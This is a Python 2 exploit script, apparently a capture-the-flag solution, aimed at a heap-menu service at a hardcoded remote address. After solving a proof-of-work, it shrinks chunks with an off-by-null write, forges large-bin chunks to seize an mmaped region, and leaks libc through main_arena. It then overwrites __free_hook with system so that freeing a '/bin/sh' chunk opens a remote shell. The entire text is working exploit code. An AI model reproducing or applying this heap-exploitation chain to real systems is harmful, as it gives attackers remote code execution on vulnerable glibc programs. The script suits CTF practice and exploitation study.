import re import sys import phun import time class R(phun.Remote): def cmd(self,cmd): self.sendlineafter('Command: ',str(cmd)) def alloc(self,size): self.cmd(1) self.sendlineafter('Size: ',str(size)) return int(self.read('Allocated\n').split()[1]) def free(self,idx,nowait=False): self.cmd(3) self.sendlineafter('Index: ',str(idx)) if nowait: return self.read('Deleted\n') def update(self,idx, data,size=0): self.cmd(2) size = size if size else len(data) data = data.ljust(size,"\x00") self.sendlineafter("Index: ",str(idx)) self.sendlineafter('Size: ',str(size)) self.sendafter('Content: ',data) self.read('Updated\n') def show(self,idx,count=0): self.cmd(4) self.sendlineafter('Index: ',str(idx)) self.read(': ') if not count: return self.readline() else: return self.read(count) import hashlib def do_pow(chal): for i in xrange(2**32): sol = chr(i&0xff) + chr((i>>8)&0xff) + chr((i>>16)&0xff) + chr((i>>24)&0xff) if hashlib.sha256(chal + sol).digest().startswith('\0\0\0'): return sol raise "NO POW:(" r = R('202.120.7.205',5655) chal = r.readline().strip() print chal sol = do_pow(chal) r.write(sol) print 'lets roll' print '----------' #r = R('173.212.243.71',1234) #localhost',1234) print '[*] setting heap...', ax=r.alloc(0x108) b=r.alloc(0x210) c=r.alloc(0x100) d=r.alloc(0x100) print '.done' #raw_input('x') print '[*] shrinking...', r.update(b,'b'*(0x210-12-20)+ phun.p64(0x200,0x200)+'abcd') r.free(b) r.update(ax,"a"*(0x108-12)) print 'done' #raw_input('x') print '[*] coalescing...', b1=r.alloc(0x40) ## first part - put address in mmaped area ## so we can forge a chunk b2=r.alloc(0x40) b3=r.alloc(0x40) ## second part - put address in bk of faked chunk b4=r.alloc(0x40) b5=r.alloc(0x40) ## third part - return fake chunk b6=r.alloc(0x40) r.free(b1) r.free(c) bigass = r.alloc(0x250) ## same as b1 print 'done' #raw_input('x') print '[*] createing fake chunk via largebins...', ## first part # 01) insert fake large bin p = "\x00"*0x40 + phun.p64(0,0x21,0,0,0,0x21,0,0,0,0x21) p += phun.p64(0,0x21,0,0,0,0x21,0,0,0,0x21) r.update(bigass,p) r.free(b2) r.update(bigass,"\x00"*(0x40-2) ) x=r.alloc((0xd1&~7)-0x20) r.free(x) r.free(b3) ## first part # 02) insert fake largebin into unsortedbin a = 0x133707a0 + 0x20 p = "\x00"*0x40 + phun.p64(0,0x4969,0,0,0,a) p += "\x00"*(0x20 -2 ) r.update(bigass,p) x=r.alloc((0xd1&~7)-0x20) r.free(x) ## second part # 01) insert another fake largebin into unsortedbin p = "\x00"*0x40 + phun.p64(0,0x21,0,0,0,0x21,0,0,0,0x21)*2 p += phun.p64(0,0x21,0,0,0,0x21,0,0,0,0x21) r.update(bigass,p) r.free(b4) a = 0x133707bd+0x18-0x20+0x20 p = "\x00"*0x40 p += phun.p64(0,0x4969,0x13370700,0x13370500,0,a,0,0,0,0) p += phun.p64(0,0x4969,0x13370700,0x13370500,0,a,0,0) p += "\x00"*(0x10-2) r.update(bigass,p) x=r.alloc((0xd1&~7)-0x20) print 'done' ## last part print '[*] takin over mmaped-region', p = "\x00"*(0x40 + 0x50*3) + phun.p64(0,0x21,0,0,0,0x21,0,0,0,0x21) r.update(bigass,p) r.free(b5) a = 0x133707bd+0x20 p = "\x00"*(0x40 + 0x50*3) + phun.p64(0,0x21,a,a) r.update(bigass,p) try: idx = r.alloc((0x55&~7)-0x10) except: print '\n[-] stars didn align.. im dead.' sys.exit(1) p = "\x00" * (64 - 12 - 0x20-1) addr = 0x524f545350414548 ^ (0x13370800) p += phun.p64(addr,0,0,0x13377331) r.update(idx,p) print 'done' print '[*] leaking...', r.update(0,phun.p64(0,0,0x13377331,0,0x133707e0,0x220).ljust(0x120,"\x00")) time.sleep(0.1) heap_ptr = phun.u64(r.show(0)[:8]) r.update(0,"\x00"*0x20+phun.p64(0,0,0x13377331,0,0x13370800,0x220,heap_ptr,0x800).ljust(0x120,"\x00")) data = r.show(1) libcptrs = map(phun.u64,re.findall(r'.....\x7f\x00\x00',data)) main_arena = None for hit in libcptrs: if hit & 0xff == 0x58: main_arena = hit - 88 if not main_arena: print '\n[-] stars didnt align..im dead.' sys.exit(0) print 'done' libc = main_arena - 0x399b00 system = libc + 0x3F480 binsh = libc + 0x1619D9 free_hook = libc + 0x039B788 print '[+] owning...', r.update(0,phun.p64(0,0,0x13377331,0,0x13370800,0x220,free_hook,0x20,binsh,0x20).ljust(0x120,"\x00")) r.update(1,phun.p64(system)) print 'done' r.free(2,nowait=True) r.shell() r.close()